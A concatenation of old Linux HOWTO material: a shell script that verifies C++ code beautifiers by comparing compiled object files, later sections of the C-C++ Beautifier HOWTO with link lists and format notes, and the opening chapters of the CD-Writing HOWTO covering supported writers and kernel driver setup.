# Verification program to check C++ Beautifiers 'bcpp', 'indent' or cb
############################################################
# Copyright
# The copyright policy is GNU/GPL.
# Author: Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com
############################################################

check_beautify_now()
{
        # Remove all the temp files....
        \rm -f ${TMP_FILE}
        \rm -f ${TMP_CPPFILE}*.*

        FNAME=$1
        if [ ! -f ${FNAME} ]; then
                print "\nError: The file ${FNAME} does not exist!!. Aborting now ...."
                exit
        fi
        \cp  -f ${FNAME} ${TMP_CPPFILE}.cpp
        ${COMPILER} -c ${TMP_CPPFILE}.cpp
        if [ ! -f ${TMP_CPPFILE}.o ]; then
                print "Fatal Error: Failed to compile ${FNAME}. Aborting now... "
                exit
        fi
        \mv -f ${TMP_CPPFILE}.o ${TMP_CPPFILE}_orig.o

        aa=`basename $PRGM`
        print "\nRunning, verifying $aa on ${FNAME}"
        ${PRGM} ${TMP_CPPFILE}.cpp
        ${COMPILER} -c ${TMP_CPPFILE}.cpp
        \rm -f $TMP_FILE
        diff ${TMP_CPPFILE}.o ${TMP_CPPFILE}_orig.o 1> $TMP_FILE 2>> $TMP_FILE
        result=""
        result=`wc -c $TMP_FILE | awk '{print $1}' `
        if [ "$result" = "0" ]; then
                print "Success!! Beautifier $aa is working properly!!\n"
        else
                print "Fatal Error: Something wrong!! Beautifier is not working!!"
                exit
        fi
#       ${COMPILER} -S ${TMP_CPPFILE}.cpp
#       diff ${TMP_CPPFILE}.s ${TMP_CPPFILE}_orig.s

        # Remove all the temp files....
        \rm -f ${TMP_FILE}
        \rm -f ${TMP_CPPFILE}*.*
}

########## Main of program begins here ##################3
#PRGM=/usr/bin/bcpp
#PRGM=/usr/bin/cb
PRGM=/usr/bin/indent
COMPILER=/usr/bin/g++

TMP_FILE=beautify.tmp
TMP_CPPFILE=beautify-tmp_cppfile

print -n "Enter the C++ file name <default is *.cpp> : "
read ans
if [ "$ans" = "" -o "$ans" = " " ]; then
        ans="ALL"
else
        FILENAME=$ans
fi

# Remove all the temp files....
\rm -f ${TMP_FILE}
\rm -f ${TMP_CPPFILE}*.*

if [ "$ans" != "ALL" ]; then
        check_beautify_now ${FILENAME}
else
        ls *.cpp |
        while read FILENAME
        do
                check_beautify_now ${FILENAME}
        done
fi


C-C++ Beautifier HOW-TO: Beautifiers for other Languages

 Next Previous Contents

3. Beautifiers for other Languages

Visit the following sites to get beautifiers for other languages like HTML, SQL, Java, Perl, Fortran.

  • HTML : http://www.digital-mines.com/htb/
  • HTML : http://www.datacomm.ch/mwoog/software/perl/beautifier.html
  • HTML : http://www.watson-net.com/free/perl/s_fhtml.asp

  • SQL : http://www.netbula.com/products/sqlb
  • Oracle PLSQL : http://www.revealnet.com

  • GPL http://www.geocities.com/~starkville/vancbj.html
  • GPL http://kevinkelley.mystarband.net/java/dent.html
  • Free http://www.tiobe.com/jacobe.htm
  • Free http://www.mmsindia.com/JPretty.html
  • Free http://members.magnet.at/johann.langhofer/products/jxbeauty/overview.html (has JBuilder support)
  • Free http://www.semdesigns.com/Products/Formatters/JavaFormatter.html
  • Commercial $24.99 http://smartbeautify.com
  • Commercial $129 http://www.jindent.com
  • Google http://directory.google.com/Top/Computers/Programming/Languages/Java/Development_Tools/Code_Beautifiers/?tc=1

  • Java, SQL, HTML, C++ : http://www.semdesigns.com/Products/DMS/DMSToolkit.html
  • Java JIndent http://home.wtal.de/software-solutions/jindent
  • Java Pat http://javaregex.com/cgi-bin/pat/jbeaut.asp
  • Java JStyle http://www.redrival.com/greenrd/java/jstyle
  • Java JPrettyPrinter http://www.epoch.com.tw/download/ms/java/java.htm
  • Java JxBeauty http://members.nextra.at/johann.langhofer/download/jxbeauty and the JxBeauty Home
  • Java beautify percolator
  • Java list http://www.java.about.com/compute/java/library/weekly/aa102499.htm
  • Java html present VasJava2HTML
  • Java code colorifier and beautifier http://www.mycgiserver.com/~lisali/jccb

  • Perl : http://www.consultix-inc.com/www.consultix-inc.com/talk.htm
  • Perl : http://www.consultix-inc.com/www.consultix-inc.com/perl_beautifier.html

  • Fortran beautifier : http://www.aeem.iastate.edu/Fortran/tools.html

  • C++ : BCPP site is at http://dickey.his.com/bcpp/bcpp.html or at http://www.clark.net/pub/dickey. BCPP ftp site is at ftp://dickey.his.com/bcpp/bcpp.tar.gz
  • C++ : http://www.consultix-inc.com/c++b.html
  • C : http://www.chips.navy.mil/oasys/c/ and mirror at Oasys
  • C++, C, Java, Oracle Pro-C Beautifier http://www.geocities.com/~starkville/main.html
  • C++, C beautifier http://users.erols.com/astronaut/vim/ccb-1.07.tar.gz and site at http://users.erols.com/astronaut/vim/#vimlinks_src
  • GC! GreatCode! is a powerful C/C++ source code beautifier Windows 95/98/NT/2000 http://perso.club-internet.fr/cbeaudet
  • C++ beautifier 'SourceStyler' http://www.ochre.com.au

  • White paper on beautifier : http://www.consultix-inc.com/www.consultix-inc.com/talk.htm

To create presentation of codes to display using HTML -

  • Presentation (C,C++,Java) to html : http://www.perlstudio.de/cbindex.html

  • The GNU project: Source-Highlight: http://www.gnu.org/software/src-highlite and its KDE frontend Ksrc2html http://murphy.netsolution-net.de/Ksrc2.html
Also search the search engines like http://www.yahoo.com or http://www.lycos.com and search for keyword "beautfier".


C-C++ Beautifier HOW-TO: Related URLs

 Next Previous Contents

4. Related URLs

Visit following locators which are related to C, C++ -

  • Vim color text editor for C++, C
  • C++ Programming HOWTO
  • CVS HOWTO for C++ programs
  • Linux goodies http://www.milkywaygalaxy.freeservers.com and mirrors at http://aldev0.webjump.com, angelfire, geocities, virtualave, 50megs, theglobe, NBCi, Terrashare, Fortunecity, Freewebsites, Tripod, Spree, Escalix, Httpcity, Freeservers.


C-C++ Beautifier HOW-TO: Other Formats of this Document

 Next Previous Contents

5. Other Formats of this Document

This document is published in 14 different formats namely - DVI, Postscript, Latex, Adobe Acrobat PDF, LyX, GNU-info, HTML, RTF(Rich Text Format), Plain-text, Unix man pages, single HTML file, SGML (Linuxdoc format), SGML (Docbook format), MS WinHelp format.

This howto document is located at -

  • http://www.linuxdoc.org and click on HOWTOs and search for howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites -

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    Single HTML file can be created with command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from - http://www.sgmltools.org Compiling the source you will get the following commands like
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

5.1 Acrobat PDF format

PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And postscript file is generated from DVI which in turn is generated from LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

5.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has lot more features than linuxdoc. The linuxdoc is very simple and is easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl perl script. You may need to manually correct few lines in the document.

  • Download ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy
The ld2db.sh is not 100% clean, you will get lots of errors when you run
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the perl script. For e.g. you may need to put closing tag < /Para> for each < Listitem>

5.3 Convert to MS WinHelp format

You can convert the SGML howto document to Microsoft Windows Help file, first convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

5.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read dvi document give the command -

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in ghostscript*.rpm package and gv program is in gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT, you view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read postscript document give the command -

                gv howto.ps
                ghostscript howto.ps

You can read HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX a X-Windows front end to latex.


C-C++ Beautifier HOW-TO: Copyright

 Next Previous Contents

6. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


C-C++ Beautifier HOW-TO: Copyright

 Next Previous Contents

7. Copyright

Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


CD-Writing HOWTO

Winfried Trümper <winni@xpilot.org>

v2.9.3, 23 July 2000

This document explains how to write CD-ROMs under Linux.

1. Introduction

  • 1.1 Copyright, license and terms of usage
  • 1.2 Availability
  • 1.3 Suggested readings
  • 1.4 Terminology ... lasers at maximum ... fire!
  • 1.5 Supported CD-writers
  • 1.6 Supported "features"
  • 1.7 Mailing Lists

2. Setup the Linux-system for writing CD-ROMs

  • 2.1 Quickstart
  • 2.2 Get the user software for burning CD-Rs

3. Burning CD-Rs

  • 3.1 Writing CD-ROMs (pure data)
  • 3.2 Writing audio CDs
  • 3.3 Mixed mode CD-ROMs

4. Dear Winfried,...

  • 4.1 How sensitive is the burning process?
  • 4.2 Has file fragmentation a bad impact on the throughput?
  • 4.3 Is it possible to store the CD-image on an UMSDOS-filesystem?
  • 4.4 Isn't there some way to get around the ISO-9660 limitations?
  • 4.5 How to read the tracks from audio CDs?
  • 4.6 How to probe for SCSI devices after boot?
  • 4.7 Is it possible to make a 1:1 copy of a data CD?
  • 4.8 Can Linux read Joliet CD-ROMs? (obsolete answer)
  • 4.9 How do I read/mount CD-ROMs with the CD-writer?
  • 4.10 How to put even more data on the CD-R?
  • 4.11 How to make bootable CD-ROMs?
  • 4.12 How to make CD-ROMs writable like a hard disk?
  • 4.13 Is it possible to use several writers at once?
  • 4.14 What about Solaris, *BSD, AIX, HP-UX, etc.? Is my variant of Unix supported?
  • 4.15 Where to store the local configuration permanently?
  • 4.16 How can the CD-info be retrieved?
  • 4.17 What about re-writing
  • 4.18 How to create a multi-session CD?
  • 4.19 Should I use the SCSI adapter shipped with the writer?
  • 4.20 How to burn over the network?
  • 4.21 I hear a crack or click sound at the end of the each track.
  • 4.22 How can this be set up so that a user can burn CDs instead of always
  • 4.23 Where do I get the "Yellow Book" and "Orange Book" standards?
  • 4.24 I've been searching for information on burning Video-CD under Linux.
  • 4.25 Which is easier to set up, IDE or SCSI?
  • 4.26 How can I overburn a CD using {cdrecord,cdrdao}?
  • 4.27 What will cdrecord do when it stops getting input from the pipe?
  • 4.28 Is there an equivalent to ignore=hdX for the ide-scsi emulation?
  • 4.29 How many times can you re-use CD-RW before they become faulty?
  • 4.30 Which format to choose for a platform independant CD-ROM?
  • 4.31 Is multi-session for audio tracks possible?
  • 4.32 What hardware resources do I need? Is an old Pentium enough?

5. Troubleshooting

  • 5.1 It doesn't work: under Linux
  • 5.2 Error-message: No read access for 'dev=0,6,0'.
  • 5.3 It doesn't work: under DOS and friends
  • 5.4 SCSI errors during the burning phase
  • 5.5 Medium errors
  • 5.6 Newly written CDs are not readable on some players.
  • 5.7 My scanner stopped working after I loaded the ide-scsi module

6. Credits


CD-Writing HOWTO: Introduction

 Next Previous Contents

1. Introduction

Many people use Linux to burn CD-ROMs, because it is reliable and easy. No bluescreens while burning and no headaches about getting the right combination of hard- and software. It just works once properly set up. The CD-writing HOWTO explains the setup, how to put data on the media and gives some interesting applications kindly submitted by the readers.

1.1 Copyright, license and terms of usage

Copyright Winfried Trümper 1996-2000. All rights reserved.

Redistribution and use, with or without modification, are permitted provided that the name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. In this sense, translations are welcome and need not to be authorized by me.

The author disclaims all warranties with regard to this document, including all implied warranties of merchantability and fitness for a certain purpose; in no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use of this document.

Short: read and use at your own risk. No money-back guarantee. If you want to understand why this document has always been under a very weak license and not under the gnu GPL or similar restrictive, then you should read this article from the german computer magazine c't: http://www.heise.de/tp/deutsch/inhalt/te/8375/1.html (currently only in German language).

1.2 Availability

As the editor of this document I mostly sum up what other people report to me. I'm not a software developer nor an expert in hardware, so for specific problems with hard- or software you may want to ask somebody else. What always makes sense is to report solutions for problems not already covered by the HOWTO to me.

I get several hundred e-mails concerning the CD-Writing HOWTO each year. So please be patient with me, as I cannot always answer within hours. However, I read everything immediately and put you on my CDR-queue. Before you ask a question, please make sure you are aware of the newest version of this document; it is always available from http://www.guug.de/~winni/linux/.

1.3 Suggested readings

You may need the handbook for your Linux-distribution to learn about installing a new kernel. I'm really clueless about this issue when it comes to any other Linux distribution than my own.

The CD-R FAQ is a general FAQ about compact-disk recordables (CD-R), CD-writers and the required software. As most CD-writers can be used to read CD-ROMs, too, you may want to read the Linux CD-ROM HOWTO, the Linux SCSI HOWTO and the Linux Kernel HOWTO.

1.4 Terminology ... lasers at maximum ... fire!

CD-ROM stands for Compact Disc Read Only Memory, a storage medium utilizing an optical laser to sense microscopic pits on a colorful shimmering disk. The pits represent the bits of the information and are so petite that some billions of them fit on the disc. Thus a CD is a mass-storage medium.

The term CD-R is a short form of CD-ROM recordable and refers to a CD that doesn't have those microscopic pits on its surface. Thus it is empty. The CD-R has a special chemical film inside into which pits can be burned. This is done by giving the laser which normally just senses the pits a little bit more power so it burns the pits. This action can only be taken once on a CD-R. You can leave out some areas for later writing, creating a so called multi-session CD.

The CD-ROM rewritable (short: CD-RW) was developed to work around the limitation of CD-R media. With a CD-RW burner the laser can do both, burn pits into the media and also melt the media back into its original state. This is possible, because the laser does not really burn holes into the media, which would get lost in a puff of smoke. A decent analogy for the technique is an ice-hockey game: by driving over the ice, a players (laser) leave scratches in it. The pattern in the ice (media) is a recording of what happened on the ice during one round. In between the periods of the game, the Zamboni cleaning car drives over the ice and fills the scratches by melting the very top layer of the ice. (Zamboni is the brand name for cleaning cars in ice-hockey stadiums). This way the pattern on the ice is cleared and a new round can begin. The scientific term for evaporating, condensing, melting and freezing is "phase change", thus the name "phase change devices" for CD-RW-writers.

This HOWTO deals with the task of writing CD-Rs and CD-RWs. Welcome on board, captain.

Adaptor vs. Adapter

The the most frequent spelling within the kernel sources is adapter (adapter: 4283, adaptor: 154). Even more important, the parameters of module options and aliases are naturally affected, like in "scsi_hostadapter". So in order to achieve a consistent spelling throughout configuration examples and document text, I follow that convention regardless of the correct spelling.

1.5 Supported CD-writers

USB CD-writers are currently not supported at all. Apart from that you can safely assume that most newer IDE/ATAPI- and SCSI-writers work under Linux. Newer drives are mostly MMC-compliant and are therefore supported. If the SCSI-version of a particular writer works, the IDE/ATAPI-version will most likely work and vice versa. However, some people want to get a warm and fuzzy feeling by reading the exact model of their writer in some sort of compatibility list. That is the reason why I didn't throw the following list out of the HOWTO. Here is a comprehensive summary of drives reported to work with cdrecord:

Acer:           CDRW 4432A, CDRW 6206A, CD-R/RW 6X4X32, 8432A
BTC:            BCE 621E (IDE)
Compro:         CW-7502, CW-7502B
Creative:       MK 4211, RW 4224E,
Delta:          OME-W 141
Dysan:          CRW-1622
Elite:          Elite b444.41
Goldstar:       CED-8041B
Grundig:        CDR 100 IPW
Guillemot:      Maxi CD-R 4X/8X
HP:             SureStore 4020i, SureStore 6020i,
                C4324, C4325
                CD-writer+ 7100, 7200i, 7500e, 8100i, 8110i, 8200i Plus,
                           8250i, 9100i, 9110i, 9200e, 9210, 9300i, 9310i
Hi-Val:         CDD 2242, CDD-3610,
Iomega:         ZIPCD 4x650
JVC:            XR-W 2001, XR-W 2010, XR-W 2040, XR-W 2042, XR-RW 2224,
                YR 2626
Kiss:           CDRW (no model given)
Kodak:          PCD 200, PCD 225, PCD 260, PCD 600
Matsushita:     matsushita is the japanese name for panasonic, please see there
Memorex:        CRW-620, CDR-622, CRW-1622, CRW-2224, CDRW-4420
Microboards:    PlayWrite 2000, PlayWrite 4000 RW, PlayWrite 4001 RW
MicroNet:       MasterCD Plus 4x4, MasterCD Plus 4x6
Mitsubishi:     CDRW-226
Mitsumi:        CR-2401-TS, CR-2600 TE,  CR-2801 TE,
                CR-4801 TE, CR-4802 TE,  CR-4804 TE
Nomai:          680.RW
Olympus:        CDS 615E, CDS 620E
Optima:         DisKovery 650 CD-R
OTI:            CDRW 965, CDRW 975 (Socrates 1.0)
Panasonic:      CW-7285, CW-7502, CW-7503, CW-7582
Philips:        CDD-521/10, CDD-522,
                CDD-2000, CDD-2600, CDD-3600, CDD-3610, CDD 4201
                PCA 267cr, PCA 460 RW, PCRW 404,
                Omniwriter 26, Omniwriter 26A,
                CDRW800
Pinnacle:       RCD-100, RCD-1000, RCD-5020, RCD-5040
Pioneer:        DW-S114X
Plasmon:        CDR 480, CDR 4220, RF-4100, RF-4102, CDR 4400
Plextor:        CDR PX-24 CS, PX-412 C, PX-R412 C
                PX-R 810Ti, PX-R 820T, PX-W 4220Ti, PX-W 8220T, PX-W 8432T
                Plexwriter RW 4/2/20
Procom:         PCDR 4
REC:            820s
Ricoh:          RO-1420C+, MP 1420C, MP 6200S, MP 6201S, MP 7040A, MP-7060A
Samsung:        SW-204
Sanyo:          CRD-R24S
Smart and
Friendly:       CD-RW 226, CD-R 1002, CD-R 1002/PRO, CD-R 1004,
                CD-R 2004, CD-R 2006 PLUS, CD-R 2006 PRO, CD-RW 2224,
                CD-R 4000, CD-R 4006, CD-R 4012, CD-RW 4424A
                CD-R 8020, CD-R 8220
Sony:           CDRX 100E, CDRX 120E, CDRX 140S-RP,
                CDU 920S, CDU 924, CDU 926S, CDU 928E, CDU 948S
Taiyo Yuden:    EW-50
TEAC:           CD-R50S, CD-R55S, CDR-55S, CDR-55K,
                CDR-56S-400, CD-R56S-600, R56S-614
Traxdata:       CRW 2260,
                CDR 4120, CDR 4120 Pro, CDRW 4260, CDRW 4424, CDR 4800
Turtle Beach:   2040R
Waitec:         wt 2036, wt 2444ei
WPI (Wearnes):  CDRW-622, CDR-632P
Yamaha:         CDR-100, CDR 102, CDR-200, CDR-200t, CDR-200tx
                CDR-400, CDR-400c, CDR-400t, CDR-400tx, CDR-400Atx
                CDW-2216E, CRW-2260, CRW-2260t,
                CRW-4250tx, CRW-4260t, CRW-4260tx, CRW-4261, CRW-4416S,
                CRW-6416S, CRW-8424E
Table: CD-writers supported under Linux

The detailed list of models which have been reported to work or not to work under various Unix-like operating systems is available online from http://www.guug.de:8080/cgi-bin/winni/lsc-orig.pl.

If your hardware isn't supported you can still use Linux to create an image of the CD. You may wish to do so because most burning software for DOS does not deal with RockRidge-extensions (Unix-like filesystems on CD-ROM). In a second step, you can use DOS or Macintosh software to write the image to the CD-R.

1.6 Supported "features"

Two There are two classes of utilities: the hardware drivers and the data-formatters. The hardware drivers support the following features:

Supported Feature   cdwrite-2.1     cdrecord-1.6    cdrdao
----------------------------------------------------------
IDE/ATAPI           yes             yes             yes
Parallel Port       no              yes             yes
CD-RW               no              yes             yes
Audio CD            yes             yes             yes
Data CD-ROM         yes             yes             partial
Multisession        partial         yes             no
TAO (track at once) yes             yes             yes
DAO (disk at once)  no              partial         yes
packet writing      no              no              no
Table:

cdwrite is unmaintained software referenced only for completeness. Please use cdrecord instead, as it supports a wider range of hardware and has significantly more features. The main benefit of cdrdao is the ability to create audio CDs without two seconds of silence between the tracks (writing in disk-at-once (DAO) mode).

The tools classified as "data-formatters" organize the data on the media ("put a filesystem on it").

Feature         mkisofs         mkhybrid        mkvcdfs
-------------------------------------------------------
ISO 9660        yes             yes             no
RockRidge       yes             yes             no
El Torito       yes             yes             no
HFS             no              yes             no
Joliet          yes             yes             no
Multisession    yes             yes             no
CD-Extra        yes             yes             no
Video-CD        no              no              yes
Table:

The most obvious difference between the ISO 9660 filesystem compared to the ReiserFS or Extended-2 filesystem is: you can't modify files once they are written. Other limitations of the ISO-9660-filesystem include:

  • only 8 levels of sub-directories allowed (counted from the top-level directory of the CD)
  • maximum length for filenames: 32 characters
  • 650 MB capacity

RockRidge is an extension to allow longer filenames and a deeper directory hierarchy for the ISO-9660 filesystem. When reading a CD-ROM with RockRidge extensions under Linux, all the known properties of files like owner, group, permissions, symbolic links appear ("feels like a Unix filesystem"). These extensions are not available when reading the CD-ROM under DOS or the heterogenous Windows-family of operating systems.

El Torito can be used to produce bootable CD-ROMs. For this feature to work, the BIOS of your PC must support it. Roughly speaking, the first 1.44 (or 2.88 if supported) Mbytes of the CD-ROM contains a floppy-disk image supplied by you. This image is treated like a floppy by the BIOS and booted from. (As a consequence, while booting from this virtual floppy, your original drive A: (/dev/fd0) may not be accessible.)

HFS lets a Macintosh read the CD-ROM as if it were an HFS volume (the native filesystem for MacOS).

Joliet brings long filenames (among other things) to newer variants of Windows (95, 98, NT). However, the author knows of no tool that allows long filenames under plain DOS or Windows 3.11.

Video-CDs can be directly played on DVD-devices.

Section 2.8 lists the availability of the mentioned software.

1.7 Mailing Lists

If you want to join the development team (with the intention to actively help them), send e-mail to cdwrite-request@other.debian.org and put the word subscribe in body of the message.


CD-Writing HOWTO: Setup the Linux-system for writing CD-ROMs

 Next Previous Contents

2. Setup the Linux-system for writing CD-ROMs

This section applies to the following types of CD-writers: SCSI, IDE/ATAPI and the devices for the parallel port. USB CD-writers are not supported as of May 2000. Non-SCSI writers require compatibility drivers, which make them appear as if they were real SCSI devices. On the one side such a unifying strategy is easy ("everything is SCSI"), because on the application level you can share your knowledge with other users regardless of their kind of CD-writer. On the other side, you have to reconfigure applications like audio CD players or the mount utility to reflect the change of the driver name. For example, if you accessed your ATAPI CD-writer through the device file /dev/hdc before, you will have to access it through /dev/scd0 after activating the SCSI compatibility drivers.

Once you succeed setting up your hardware and the rest of your Linux-system, the command cdrecord -scanbus shows you a list of devices on your SCSI busses. The goal of this section is to guide you in setting up your Linux-system, so that you finally end up seeing something like:

shell> cdrecord -scanbus
Cdrecord release 1.7a1 Copyright (C) 1995-1998 Jörg Schilling
scsibus0:
      0,0,0) 'Quantum ' 'XP34300         ' 'F76D' Disk
      0,1,0) 'SEAGATE ' 'ST11200N        ' '8334' Disk
      0,2,0) *
      0,3,0) 'TOSHIBA ' 'MK537FB/        ' '6258' Disk
      0,4,0) 'WANGTEK ' '5150ES SCSI 36  ' 'ESB6' Removable Tape
      0,5,0) 'EXABYTE ' 'EXB-8500-85QUE  ' '0428' Removable Tape
      0,6,0) 'TOSHIBA ' 'XM-3401TASUNSLCD' '3593' Removable CD-ROM
      0,7,0) *
scsibus1:
      1,0,0) 'Quantum ' 'XP31070W        ' 'L912' Disk
      1,1,0) *
      1,2,0) *
      1,3,0) 'TEAC    ' 'CD-R55S         ' '1.0H' Removable CD-ROM
      1,4,0) 'MATSHITA' 'CD-R   CW-7502  ' '4.02' Removable CD-ROM
      1,5,0) *
      1,6,0) 'YAMAHA  ' 'CDR400t         ' '1.0d' Removable CD-ROM
      1,7,0) *
Listing: Detecting devices on your SCSI bus

The example was provided by Jörg Schilling and shows a total of four CD-writers. Please note that -scanbus also reports other devices, e.g. regular CD-ROMs and hard disk drives. The last column gives the SCSI description of the device, from which you cannot clearly distinguish ordinary CD-ROM drives from those with burning capability. But the product identification (middle column) often has hints about the feature in form of a R, -R or -RW.

2.1 Quickstart

This section is an attempt to provide an fast and easy description of the configuration. Not all possible setups are covered, but please go on and try it out anyways. First of all, check the Linux kernel version printed by the command "uname -r". It should be something like 2.0.X or 2.2.Y, where X is higher than 36 and Y is higher than 11. If you run older versions or the so called development kernels, you are on your own. Installing a new kernel is as much work as fixing an old one, so I have removed all hints you need for buggy kernels.

The listing below shows a set of commands you could start with. The commands create device file entries under /dev unless they already exists.

test `whoami` = 'root' || echo "You must be root to execute the commands."
cd /dev/
umask -S u=rwx,g=rwx,o-rwx
[ -f loop0 ] \
    || ./MAKEDEV loop \
    || for i in 0 1 2 3 4 5 6 7; do mknod loop$i b 7 $i; done
[ -f sg0 -o -f sga ] \
    || ./MAKEDEV sg \
    || for i in 0 1 2 3 4 5 6 7; do mknod sg$i  c 21 $i; done
Listing: creating of devicefiles

Hardware access is usally implemented through device files under Linux. So before any other thing you make sure those files do exists in the directory /dev. Still nobody could give me a compelling reason why this has not been automated through techniques like the device filesystem (devfs). The devfs is available for years know, brings a safer (!) and a far clearer naming of devices and makes the device entries appear automatically under /dev. Some prominent people argue devfs is not the perfect solution, but they do not come up with anything better, not even something comparable and last but least nothing available and tested now. Lets start to use devfs, so I can remove the above commands from this document. ( http://www.atnf.CSIRO.AU/~rgooch/linux/kernel-patches.html)

Next thing to ensure is, that the Linux kernel is equiped with the necessary drivers. The following commands check various files for the presence of drivers in the running Linux kernel. Usally the command "cdrecord -scanbus" should trigger an automatic loading of all drivers. In case a driver is not present in the kernel afterwards, it is reported and the modularized driver (module) is manually loaded through insmod.

test `whoami` = 'root' || echo "You must be root to execute the commands."
cdrecord -scanbus > /dev/null
if ! (pidof kerneld || test -f "/proc/sys/kernel/modprobe"); then
    echo "Neither kerneld nor kmod are running to automatically load modules".
fi
report_no_autoload() {
    echo "Ensure the module $1 is loaded automatically next time."
}
if test ! -f "/proc/scsi/scsi"; then
    report_no_autoload scsi_mod  &&  insmod scsi_mod
fi
if ! grep "^........ sg_" /proc/ksyms > /dev/null; then
    report_no_autoload sg  &&  insmod sg
fi
if ! grep "^........ sr_" /proc/ksyms > /dev/null; then
    report_no_autoload sr_mod  &&  insmod sr_mod
fi
if ! grep "^........ loop_" /proc/ksyms > /dev/null; then
    report_no_autoload loop  &&  insmod loop
fi
if ! grep iso9660 /proc/filesystems > /dev/null; then
    report_no_autoload iso9660  &&  insmod iso9660
fi
echo "The following is only needed for IDE/ATAPI CD-writers."
if ! grep ide-scsi /proc/ide/drivers > /dev/null; then
    report_no_autoload ide-scsi  &&  insmod ide-scsi
fi
cdrecord -scanbus
Listing: Testing for drivers

Please read the next chapter if insmod complains about missing module files. If you are in text mode (console), the loading of modules may cause some messages to be printed on your screen. If you are in graphics mode (X11, KDE, Gnome), you can recall these messages with the command dmesg.

There are several ways to load the modules next time you start up your Linux system:

(1) Put the relevant insmod command into the startup sequence
    (a shell script named rc.local or equivalent).
(2a) Run kerneld or kmod and
(2b) configure them in /etc/modules.conf (to be more precise,
     you configure the utility modprobe, which is called by the daemons)

People with a SCSI-writer can skip the rest of this section, because cdrecord will most likely already detect their hardware. If not, then please send me an email with some information about your setup, so I can improve the section about SCSI-writers.

Now to the people with CD-writers for IDE/ATAPI. As written in the previous chapter, you have to load the compatibility driver ide-scsi. But this driver can only access your CD-Writer if no other driver has already done so. In other words, you have to tell the regular IDE driver to leave your CD-writer unrecognized, so the ide-scsi driver can grab it.

hda = IDE bus/connector 0 master device
hdb = IDE bus/connector 0 slave  device
hdc = IDE bus/connector 1 master device
hdd = IDE bus/connector 1 slave  device
Table: device file names of IDE/ATAPI devices

